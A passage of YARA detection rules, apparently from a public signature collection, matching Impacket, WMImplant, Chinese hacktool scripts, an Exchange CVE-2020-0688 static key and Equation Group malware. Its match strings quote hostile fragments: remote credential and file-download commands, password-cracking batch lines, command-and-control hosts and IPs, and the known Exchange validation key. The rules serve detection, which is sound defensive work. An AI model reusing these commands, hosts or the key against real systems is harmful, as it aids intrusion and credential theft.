		hash13 = "9706eb99e48e445ac4240b5acb2efd49468a800913e70e40b25c2bf80d6be35f"
		hash14 = "d2856e98011541883e5b335cb46b713b1a6b2c414966a9de122ee7fb226aa7f7"
		hash15 = "8ab2b60aadf97e921e3a9df5cf1c135fbc851cb66d09b1043eaaa1dc01b9a699"
		hash16 = "efff15e1815fb3c156678417d6037ddf4b711a3122c9b5bc2ca8dc97165d3769"
		hash17 = "e300339058a885475f5952fb4e9faaa09bb6eac26757443017b281c46b03108b"
		hash18 = "19544863758341fe7276c59d85f4aa17094045621ca9c98f8a9e7307c290bad4"
		hash19 = "2527fff1a3c780f6a757f13a8912278a417aea84295af1abfa4666572bbbf086"
		hash20 = "202a1d149be35d96e491b0b65516f631f3486215f78526160cf262d8ae179094"
		id = "d2ce6426-d165-5569-a992-268f05622653"

	strings:
		$s1 = "bpywintypes27.dll" fullword ascii
		$s2 = "hZFtPC" fullword ascii
		$s3 = "impacket" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 21000KB and all of ( $s* ) ) or ( all of them )
}

rule Impacket_Lateral_Movement
{
	meta:
		description = "Detects Impacket Network Aktivity for Lateral Movement"
		author = "Markus Neis"
		reference = "https://github.com/CoreSecurity/impacket"
		date = "2018-03-22"
		score = 60
		id = "44db234c-ac81-5d21-bc2a-8cfd88807c0d"

	strings:
		$s1 = "impacket.dcerpc.v5.transport(" ascii
		$s2 = "impacket.smbconnection(" ascii
		$s3 = "impacket.dcerpc.v5.ndr(" ascii
		$s4 = "impacket.spnego(" ascii
		$s5 = "impacket.smb(" ascii
		$s6 = "impacket.ntlm(" ascii
		$s7 = "impacket.nmb(" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 14000KB and 2 of them
}

rule VUL_Exchange_CVE_2020_0688
{
	meta:
		description = "Detects static validation key used by Exchange server in web.config"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys"
		date = "2020-02-26"
		score = 60
		id = "1065f297-0dc4-5dcb-b0f3-c89d06ff5e69"

	strings:
		$h1 = "<?xml "
		$x1 = "<machineKey validationKey=\"CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\"" ascii wide

	condition:
		filesize <= 300KB and $h1 at 0 and $x1
}

rule WMImplant
{
	meta:
		description = "Auto-generated rule - file WMImplant.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html"
		date = "2017-03-24"
		hash1 = "860d7c237c2395b4f51b8c9bd0ee6cab06af38fff60ce3563d160d50c11d2f78"
		id = "18dadc55-e12f-5c4c-9e11-27dc2d6c8dd2"

	strings:
		$x1 = "Invoke-ProcessPunisher -Creds $RemoteCredential" fullword ascii
		$x2 = "$Target -query \"SELECT * FROM Win32_NTLogEvent WHERE (logfile='security')" ascii
		$x3 = "WMImplant -Creds" fullword ascii
		$x4 = "-Download -RemoteFile C:\\passwords.txt" ascii
		$x5 = "-Command 'powershell.exe -command \"Enable-PSRemoting" fullword ascii
		$x6 = "Invoke-WMImplant" fullword ascii

	condition:
		1 of them
}

rule CN_Tools_xbat
{
	meta:
		description = "Chinese Hacktool Set - file xbat.vbs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "a7005acda381a09803b860f04d4cae3fdb65d594"
		id = "5b2f0d2e-a7fb-5f5a-94a9-28e851c9756e"

	strings:
		$s0 = "ws.run \"srss.bat /start\",0 " fullword ascii
		$s1 = "Set ws = Wscript.CreateObject(\"Wscript.Shell\")" fullword ascii

	condition:
		uint16( 0 ) == 0x6553 and filesize < 0KB and all of them
}

rule CN_Tools_Temp
{
	meta:
		description = "Chinese Hacktool Set - file Temp.war"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "c3327ef63b0ed64c4906e9940ef877c76ebaff58"
		id = "4fbaabd0-fbf2-56a0-94af-9deba1e7cc81"

	strings:
		$s0 = "META-INF/context.xml<?xml version=\"1.0\" encoding=\"UTF-8\"?>" fullword ascii
		$s1 = "browser.jsp" fullword ascii
		$s3 = "cmd.jsp" fullword ascii
		$s4 = "index.jsp" fullword ascii

	condition:
		uint16( 0 ) == 0x4b50 and filesize < 203KB and all of them
}

rule CN_Tools_srss
{
	meta:
		description = "Chinese Hacktool Set - file srss.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "092ab0797947692a247fe80b100fb4df0f9c37a0"
		id = "13191e2e-fbcd-5e0b-af55-cc10f2583c1b"

	strings:
		$s0 = "srss.exe -idx 0 -ip"
		$s1 = "-port 21 -logfilter \"_USER ,_P" ascii

	condition:
		filesize < 100 and all of them
}

rule dll_UnReg
{
	meta:
		description = "Chinese Hacktool Set - file UnReg.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "d5e24ba86781c332d0c99dea62f42b14e893d17e"
		id = "5c14486d-72a2-5a18-9db0-ce0ab61fdce7"

	strings:
		$s0 = "regsvr32.exe /u C:\\windows\\system32\\PacketX.dll" fullword ascii
		$s1 = "del /F /Q C:\\windows\\system32\\PacketX.dll" fullword ascii

	condition:
		filesize < 1KB and 1 of them
}

rule dll_Reg
{
	meta:
		description = "Chinese Hacktool Set - file Reg.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "cb8a92fe256a3e5b869f9564ecd1aa9c5c886e3f"
		id = "97c0d9ff-6a12-57e3-8219-6c1843a03a29"

	strings:
		$s0 = "copy PacketX.dll C:\\windows\\system32\\PacketX.dll" fullword ascii
		$s1 = "regsvr32.exe C:\\windows\\system32\\PacketX.dll" fullword ascii

	condition:
		filesize < 1KB and all of them
}

rule sbin_squid
{
	meta:
		description = "Chinese Hacktool Set - file squid.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "8b795a8085c3e6f3d764ebcfe6d59e26fdb91969"
		id = "e7302e90-d072-599b-a8f2-bf1f21a84de9"

	strings:
		$s0 = "del /s /f /q" fullword ascii
		$s1 = "squid.exe -z" fullword ascii
		$s2 = "net start Squid" fullword ascii
		$s3 = "net stop Squid" fullword ascii

	condition:
		filesize < 1KB and all of them
}

rule sql1433_creck
{
	meta:
		description = "Chinese Hacktool Set - file creck.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "189c11a3b268789a3fbcfac3bd4e03cbfde87b1d"
		id = "38a91464-d493-5154-86ec-e54b3e25309b"

	strings:
		$s0 = "start anhao3.exe -i S.txt -p  pass3.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii
		$s1 = "start anhao1.exe -i S.txt -p  pass1.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii
		$s2 = "start anhao2.exe -i S.txt -p  pass2.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii

	condition:
		uint16( 0 ) == 0x7473 and filesize < 1KB and 1 of them
}

rule sql1433_Start
{
	meta:
		description = "Chinese Hacktool Set - file Start.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "bd4be10f4c3a982647b2da1a8fb2e19de34eaf01"
		id = "89bc249d-dba0-5196-b081-ddbd029ae6c8"

	strings:
		$s1 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii
		$s2 = "start creck.bat" fullword ascii
		$s3 = "del s1.txt" fullword ascii
		$s4 = "del Result.txt" fullword ascii
		$s5 = "del s.TXT" fullword ascii
		$s6 = "mode con cols=48 lines=20" fullword ascii

	condition:
		filesize < 1KB and 2 of them
}

rule apt_equation_exploitlib_mutexes
{
	meta:
		copyright = "Kaspersky Lab"
		description = "Rule to detect Equation group's Exploitation library http://goo.gl/ivt8EW"
		version = "1.0"
		date = "2016-02-15"
		modified = "2023-01-27"
		reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
		id = "d060bfd7-fb16-55d3-8a39-1197fdd8e759"

	strings:
		$a1 = "prkMtx" wide
		$a2 = "cnFormSyncExFBC" wide
		$a3 = "cnFormVoidFBC" wide
		$a4 = "cnFormSyncExFBC"
		$a5 = "cnFormVoidFBC"

	condition:
		uint16( 0 ) == 0x5A4D and any of ( $a* )
}

rule apt_equation_equationlaser_runtimeclasses
{
	meta:
		copyright = "Kaspersky Lab"
		description = "Rule to detect the EquationLaser malware"
		version = "1.0"
		last_modified = "2015-02-16"
		reference = "https://securelist.com/blog/"
		id = "924c80ca-3607-57aa-85a2-b33ff52b0c1b"

	strings:
		$a1 = "?a73957838_2@@YAXXZ"
		$a2 = "?a84884@@YAXXZ"
		$a3 = "?b823838_9839@@YAXXZ"
		$a4 = "?e747383_94@@YAXXZ"
		$a5 = "?e83834@@YAXXZ"
		$a6 = "?e929348_827@@YAXXZ"

	condition:
		any of them
}

rule apt_equation_cryptotable
{
	meta:
		copyright = "Kaspersky Lab"
		description = "Rule to detect the crypto library used in Equation group malware"
		version = "1.0"
		last_modified = "2015-02-16"
		reference = "https://securelist.com/blog/"
		id = "e7f313a3-8ef8-5363-898a-836a96aaa2ff"

	strings:
		$a = {37 DF E8 B6 C7 9C 0B AE 91 EF F0 3B 90 C6 80 85 5D 19 4B 45 44 12 3C E2 0D 5C 1C 7B C4 FF D6 05 17 14 4F 03 74 1E 41 DA 8F 7D DE 7E 99 F1 35 AC B8 46 93 CE 23 82 07 EB 2B D4 72 71 40 F3 B0 F7 78 D7 4C D1 55 1A 39 83 18 FA E1 9A 56 B1 96 AB A6 30 C5 5F BE 0C 50 C1}

	condition:
		$a
}

rule Equation_Kaspersky_TripleFantasy_1
{
	meta:
		description = "Equation Group Malware - TripleFantasy http://goo.gl/ivt8EW"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/ivt8EW"
		date = "2015/02/16"
		hash = "b2b2cd9ca6f5864ef2ac6382b7b6374a9fb2cbe9"
		id = "8d2adb3c-70e0-5768-bcfa-be64220064d9"

	strings:
		$s0 = "%SystemRoot%\\system32\\hnetcfg.dll" fullword wide
		$s1 = "%WINDIR%\\System32\\ahlhcib.dll" fullword wide
		$s2 = "%WINDIR%\\sjyntmv.dat" fullword wide
		$s3 = "Global\\{8c38e4f3-591f-91cf-06a6-67b84d8a0102}" fullword wide
		$s4 = "%WINDIR%\\System32\\owrwbsdi" fullword wide
		$s5 = "Chrome" fullword wide
		$s6 = "StringIndex" fullword ascii
		$x1 = "itemagic.net@443" fullword wide
		$x2 = "team4heat.net@443" fullword wide
		$x5 = "62.216.152.69@443" fullword wide
		$x6 = "84.233.205.37@443" fullword wide
		$z1 = "www.microsoft.com@80" fullword wide
		$z2 = "www.google.com@80" fullword wide
		$z3 = "127.0.0.1:3128" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300000 and ( ( all of ( $s* ) and all of ( $z* ) ) or ( all of ( $s* ) and 1 of ( $x* ) ) )
}

rule Equation_Kaspersky_DoubleFantasy_1
{
	meta:
		description = "Equation Group Malware - DoubleFantasy"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/ivt8EW"
		date = "2015/02/16"
		hash = "d09b4b6d3244ac382049736ca98d7de0c6787fa2"
		id = "f3c87adf-86c3-5d7c-9532-75341841869a"

	strings:
		$z1 = "msvcp5%d.dll" fullword ascii
		$s0 = "actxprxy.GetProxyDllInfo" fullword ascii
		$s3 = "actxprxy.DllGetClassObject" fullword ascii
		$s5 = "actxprxy.DllRegisterServer" fullword ascii
		$s6 = "actxprxy.DllUnregisterServer" fullword ascii
		$x2 = "191H1a1" fullword ascii
		$x3 = "November " fullword ascii
		$x4 = "abababababab" fullword ascii
		$x5 = "January " fullword ascii
		$x6 = "October " fullword ascii
		$x7 = "September " fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 350000 and ( ( $z1 ) or ( all of ( $s* ) and 6 of ( $x* ) ) )
}

rule Equation_Kaspersky_GROK_Keylogger
{
	meta:
		description = "Equation Group Malware - GROK keylogger"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/ivt8EW"
		date = "2015/02/16"
		hash = "50b8f125ed33233a545a1aac3c9d4bb6aa34b48f"
		id = "1bae3e86-54e5-55e9-8bbd-aa9ec2a0fa2b"

	strings:
		$s0 = "c:\\users\\rmgree5\\" ascii
		$s1 = "msrtdv.sys" fullword wide
		$x1 = "svrg.pdb" fullword ascii
		$x2 = "W32pServiceTable" fullword ascii
		$x3 = "In forma" fullword ascii
		$x4 = "ReleaseF" fullword ascii
		$x5 = "criptor" fullword ascii
		$x6 = "astMutex" fullword ascii
		$x7 = "ARASATAU" fullword ascii
		$x8 = "R0omp4ar" fullword ascii
		$z1 = "H.text" fullword ascii
		$z2 = "\\registry\\machine\\software\\Microsoft\\Windows NT\\CurrentVersion" wide
		$z4 = "\\registry\\machine\\SYSTEM\\ControlSet001\\Control\\Session Manager\\Environment" wide fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 250000 and ( $s0 or ( $s1 and 6 of ( $x* ) ) or ( 6 of ( $x* ) and all of ( $z* ) ) )
}

rule Equation_Kaspersky_GreyFishInstaller
{
	meta:
		description = "Equation Group Malware - Grey Fish"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/ivt8EW"
		date = "2015/02/16"
		hash = "58d15d1581f32f36542f3e9fb4b1fc84d2a6ba35"
		id = "ea16b51c-755e-5f08-a209-d21a1ed30fcf"

	strings:
		$s0 = "DOGROUND.exe" fullword wide
		$s1 = "Windows Configuration Services" fullword wide
		$s2 = "GetMappedFilenameW" fullword ascii

	condition:
		all of them
}

rule Equation_Kaspersky_EquationDrugInstaller
{
	meta:
		description = "Equation Group Malware - EquationDrug installer LUTEUSOBSTOS"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/ivt8EW"
		date = "2015/02/16"
		hash = "61fab1b8451275c7fd580895d9c68e152ff46417"
		id = "fa549e6e-f0d8-55ea-9ec9-c8ec53b55dec"

	strings:
		$s0 = "\\system32\\win32k.sys" wide
		$s1 = "ALL_FIREWALLS" fullword ascii
		$x1 = "@prkMtx" fullword wide
		$x2 = "STATIC" fullword wide
		$x3 = "windir" fullword wide
		$x4 = "cnFormVoidFBC" fullword wide
		$x5 = "CcnFormSyncExFBC" fullword wide
		$x6 = "WinStaObj" fullword wide
		$x7 = "BINRES" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500000 and all of ( $s* ) and 5 of ( $x* )
}

rule Equation_Kaspersky_EquationLaserInstaller
{
	meta:
		description = "Equation Group Malware - EquationLaser Installer"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/ivt8EW"
		date = "2015/02/16"
		hash = "5e1f56c1e57fbff96d4999db1fd6dd0f7d8221df"
		score = 80
		id = "15fd5668-36f2-556c-8150-225d3cbd4121"

	strings:
		$s0 = "Failed to get Windows version" fullword ascii
		$s1 = "lsasrv32.dll and lsass.exe" fullword wide
		$s2 = "\\\\%s\\mailslot\\%s" fullword ascii
		$s3 = "%d-%d-%d %d:%d:%d Z" fullword ascii
		$s4 = "lsasrv32.dll" fullword ascii
		$s6 = "%s %02x %s" fullword ascii
		$s7 = "VIEWERS" fullword ascii
		$s8 = "5.2.3790.220 (srv03_gdr.040918-1552)" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d ) and filesize < 250000 and 6 of ( $s* )
}

rule Equation_Kaspersky_FannyWorm
{
	meta:
		description = "Equation Group Malware - Fanny Worm"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/ivt8EW"
		date = "2015-02-16"
		modified = "2023-01-06"
		hash = "1f0ae54ac3f10d533013f74f48849de4e65817a7"
		score = 80
		id = "1b8d1ce6-8926-5aa3-8fba-6a8451d66a7d"

	strings:
		$s1 = "x:\\fanny.bmp" fullword ascii
		$s2 = "32.exe" fullword ascii
		$s3 = "d:\\fanny.bmp" fullword ascii
		$x1 = "c:\\windows\\system32\\kernel32.dll" fullword ascii
		$x2 = "System\\CurrentControlSet\\Services\\USBSTOR\\Enum" fullword ascii
		$x3 = "System\\CurrentControlSet\\Services\\PartMgr\\Enum" fullword ascii
		$x4 = "\\system32\\win32k.sys" wide
		$x5 = "\\AGENTCPD.DLL" ascii
		$x6 = "agentcpd.dll" fullword ascii
		$x7 = "PADupdate.exe" fullword ascii
		$x8 = "dll_installer.dll" fullword ascii
		$x9 = "\\restore\\" ascii
		$x10 = "Q:\\__?__.lnk" fullword ascii
		$x11 = "Software\\Microsoft\\MSNetMng" fullword ascii
		$x12 = "\\shelldoc.dll" ascii
		$x13 = "file size = %d bytes" fullword ascii
		$x14 = "\\MSAgent" ascii
		$x15 = "Global\\RPCMutex" fullword ascii
		$x16 = "Global\\DirectMarketing" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d ) and filesize < 300000 and ( ( 2 of ( $s* ) ) or ( 1 of ( $s* ) and 6 of ( $x* ) ) or ( 14 of ( $x* ) ) )
}

rule Equation_Kaspersky_HDD_reprogramming_module
{
	meta:
		description = "Equation Group Malware - HDD reprogramming module"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/ivt8EW"
		date = "2015/02/16"
		hash = "ff2b50f371eb26f22eb8a2118e9ab0e015081500"
		id = "09ffe270-39e7-5225-b4a9-1c8d312a09c1"

	strings:
		$s0 = "nls_933w.dll" fullword ascii
		$s1 = "BINARY" fullword wide
		$s2 = "KfAcquireSpinLock" fullword ascii
		$s3 = "HAL.dll" fullword ascii
		$s4 = "READ_REGISTER_UCHAR" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300000 and all of ( $s* )
}

rule Equation_Kaspersky_EOP_Package
{
	meta:
		description = "Equation Group Malware - EoP package and malware launcher"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/ivt8EW"
		date = "2015/02/16"
		hash = "2bd1b1f5b4384ce802d5d32d8c8fd3d1dc04b962"
		id = "2eb97873-a415-57be-a8fb-70ef86a99c9b"

	strings:
		$s0 = "abababababab" fullword ascii
		$s1 = "abcdefghijklmnopq" fullword ascii
		$s2 = "@STATIC" fullword wide
		$s3 = "$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" fullword ascii
		$s4 = "@prkMtx" fullword wide
		$s5 = "prkMtx" fullword wide
		$s6 = "cnFormVoidFBC" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100000 and all of ( $s* )
}

rule Equation_Kaspersky_TripleFantasy_Loader
{
	meta:
		description = "Equation Group Malware - TripleFantasy Loader"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/ivt8EW"
		date = "2015/02/16"
		hash = "4ce6e77a11b443cc7cbe439b71bf39a39d3d7fa3"
		id = "562e7855-f011-5985-91c0-622b2fec32f8"

	strings:
		$x1 = "Original Innovations, LLC" fullword wide
		$x2 = "Moniter Resource Protocol" fullword wide
		$x3 = "ahlhcib.dll" fullword wide
		$s0 = "hnetcfg.HNetGetSharingServicesPage" fullword ascii
		$s1 = "hnetcfg.IcfGetOperationalMode" fullword ascii
		$s2 = "hnetcfg.IcfGetDynamicFwPorts" fullword ascii
		$s3 = "hnetcfg.HNetFreeFirewallLoggingSettings" fullword ascii
		$s4 = "hnetcfg.HNetGetShareAndBridgeSettings" fullword ascii
		$s5 = "hnetcfg.HNetGetFirewallSettingsPage" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50000 and ( all of ( $x* ) and all of ( $s* ) )
}

rule Equation_Kaspersky_SuspiciousString
{
	meta:
		description = "Equation Group Malware - suspicious string found in sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/ivt8EW"
		date = "2015/02/17"
		score = 60
		id = "a5f203a7-0c50-5658-89f4-44533ed4eef0"

	strings:
		$s1 = "i386\\DesertWinterDriver.pdb" fullword
		$s2 = "Performing UR-specific post-install..."
		$s3 = "Timeout waiting for the \"canInstallNow\" event from the implant-specific EXE!"
		$s4 = "STRAITSHOOTER30.exe"
		$s5 = "standalonegrok_2.1.1.1"
		$s6 = "c:\\users\\rmgree5\\"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500000 and all of ( $s* )
}

rule EquationDrug_NetworkSniffer1
{
	meta:
		description = "EquationDrug - Backdoor driven by network sniffer - mstcp32.sys, fat32.sys"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
		date = "2015/03/11"
		modified = "2023-01-06"
		hash = "26e787997a338d8111d96c9a4c103cf8ff0201ce"
		id = "21a500e7-3011-50e6-b685-f4f65d6dee17"

	strings:
		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
		$s1 = "\\Registry\\User\\CurrentUser\\" wide
		$s3 = "sys\\mstcp32.dbg" fullword ascii
		$s7 = "mstcp32.sys" fullword wide
		$s8 = "p32.sys" fullword ascii
		$s9 = "\\Device\\%ws_%ws" wide
		$s10 = "\\DosDevices\\%ws" wide
		$s11 = "\\Device\\%ws" wide

	condition:
		all of them
}

rule EquationDrug_CompatLayer_UnilayDLL
{
	meta:
		description = "EquationDrug - Unilay.DLL"
		author = "Florian Roth (Nextron Systems) @4nc4p"
		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
		date = "2015/03/11"
		hash = "a3a31937956f161beba8acac35b96cb74241cd0f"
		id = "32fd31c7-cc44-50e1-8888-b9da59ce587b"

	strings:
		$s0 = "unilay.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and $s0
}

rule EquationDrug_HDDSSD_Op
{
	meta:
		description = "EquationDrug - HDD/SSD firmware operation - nls_933w.dll"
		author = "Florian Roth (Nextron Systems) @4nc4p"
		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
		date = "2015/03/11"
		hash = "ff2b50f371eb26f22eb8a2118e9ab0e015081500"
		id = "e2698f10-49e8-55da-bddc-e5c887f11bc7"

	strings:
		$s0 = "nls_933w.dll" fullword ascii

	condition:
		all of them
}

rule EquationDrug_NetworkSniffer2
{
	meta:
		description = "EquationDrug - Network Sniffer - tdip.sys"
		author = "Florian Roth (Nextron Systems) @4nc4p"
		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
		date = "2015/03/11"
		hash = "7e3cd36875c0e5ccb076eb74855d627ae8d4627f"
		id = "afc5ae23-4965-5796-af3b-9e2705aea455"

	strings:
		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
		$s1 = "IP Transport Driver" fullword wide
		$s2 = "tdip.sys" fullword wide
		$s3 = "sys\\tdip.dbg" fullword ascii
		$s4 = "dip.sys" fullword ascii
		$s5 = "\\Device\\%ws_%ws" wide
		$s6 = "\\DosDevices\\%ws" wide
		$s7 = "\\Device\\%ws" wide

	condition:
		all of them
}

rule EquationDrug_NetworkSniffer3
{
	meta:
		description = "EquationDrug - Network Sniffer - tdip.sys"
		author = "Florian Roth (Nextron Systems) @4nc4p"
		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
		date = "2015/03/11"
		hash = "14599516381a9646cd978cf962c4f92386371040"
		id = "c6b1658b-cbc6-535a-a3a2-15ce3cf6e4f6"

	strings:
		$s0 = "Corporation. All rights reserved." fullword wide
		$s1 = "IP Transport Driver" fullword wide
		$s2 = "tdip.sys" fullword wide
		$s3 = "tdip.pdb" fullword ascii

	condition:
		all of them
}

rule EquationDrug_VolRec_Driver
{
	meta:
		description = "EquationDrug - Collector plugin for Volrec - msrstd.sys"
		author = "Florian Roth (Nextron Systems) @4nc4p"
		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
		date = "2015/03/11"
		hash = "ee2b504ad502dc3fed62d6483d93d9b1221cdd6c"
		id = "db4f3f65-bdc4-565d-ad59-25a16ec7c9d2"

	strings:
		$s0 = "msrstd.sys" fullword wide
		$s1 = "msrstd.pdb" fullword ascii
		$s2 = "msrstd driver" fullword wide

	condition:
		all of them
}

rule EquationDrug_KernelRootkit
{
	meta:
		description = "EquationDrug - Kernel mode stage 0 and rootkit (Windows 2000 and above) - msndsrv.sys"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
		date = "2015/03/11"
		modified = "2023-01-06"
		hash = "597715224249e9fb77dc733b2e4d507f0cc41af6"
		id = "92491e30-4041-5c8b-8e4e-7bc2b1d3234b"

	strings:
		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
		$s1 = "Parmsndsrv.dbg" fullword ascii
		$s2 = "\\Registry\\User\\CurrentUser\\" wide
		$s3 = "msndsrv.sys" fullword wide
		$s5 = "\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Control\\Windows" wide
		$s6 = "\\Device\\%ws_%ws" wide
		$s7 = "\\DosDevices\\%ws" wide
		$s9 = "\\Device\\%ws" wide

	condition:
		all of them
}

rule EquationDrug_Keylogger
{
	meta:
		description = "EquationDrug - Key/clipboard logger driver - msrtvd.sys"
		author = "Florian Roth (Nextron Systems) @4nc4p"
		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
		date = "2015/03/11"
		hash = "b93aa17b19575a6e4962d224c5801fb78e9a7bb5"
		id = "57b6af34-577b-58ec-9a9e-91911c32270b"

	strings:
		$s0 = "\\registry\\machine\\software\\Microsoft\\Windows NT\\CurrentVersion" wide
		$s2 = "\\registry\\machine\\SYSTEM\\ControlSet001\\Control\\Session Manager\\En" wide
		$s3 = "\\DosDevices\\Gk" wide
		$s5 = "\\Device\\Gk0" wide

	condition:
		all of them
}

rule EquationDrug_NetworkSniffer4
{
	meta:
		description = "EquationDrug - Network-sniffer/patcher - atmdkdrv.sys"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
		date = "2015/03/11"
		modified = "2023-01-06"
		hash = "cace40965f8600a24a2457f7792efba3bd84d9ba"
		id = "12bb1eb3-a14e-5616-bc7c-249c83f97035"

	strings:
		$s0 = "Copyright 1999 RAVISENT Technologies Inc." fullword wide
		$s1 = "\\systemroot\\" ascii
		$s2 = "RAVISENT Technologies Inc." fullword wide
		$s3 = "Created by VIONA Development" fullword wide
		$s4 = "\\Registry\\User\\CurrentUser\\" wide
		$s5 = "\\device\\harddiskvolume" wide
		$s7 = "ATMDKDRV.SYS" fullword wide
		$s8 = "\\Device\\%ws_%ws" wide
		$s9 = "\\DosDevices\\%ws" wide
		$s10 = "CineMaster C 1.1 WDM Main Driver" fullword wide
		$s11 = "\\Device\\%ws" wide
		$s13 = "CineMaster C 1.1 WDM" fullword wide

	condition:
		all of them
}

rule EquationDrug_PlatformOrchestrator
{
	meta:
		description = "EquationDrug - Platform orchestrator - mscfg32.dll, svchost32.dll"
		author = "Florian Roth (Nextron Systems) @4nc4p"
		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
		date = "2015/03/11"
		hash = "febc4f30786db7804008dc9bc1cebdc26993e240"
		id = "ce19ed3c-9dd9-5cb0-99fe-c04fde057293"

	strings:
		$s0 = "SERVICES.EXE" fullword wide
		$s1 = "\\command.com" wide
		$s2 = "Microsoft(R) Windows (TM) Operating System" fullword wide
		$s3 = "LSASS.EXE" fullword wide
		$s4 = "Windows Configuration Services" fullword wide
		$s8 = "unilay.dll" fullword ascii

	condition:
		all of them
}

rule EquationDrug_NetworkSniffer5
{
	meta:
		description = "EquationDrug - Network-sniffer/patcher - atmdkdrv.sys"
		author = "Florian Roth (Nextron Systems)"
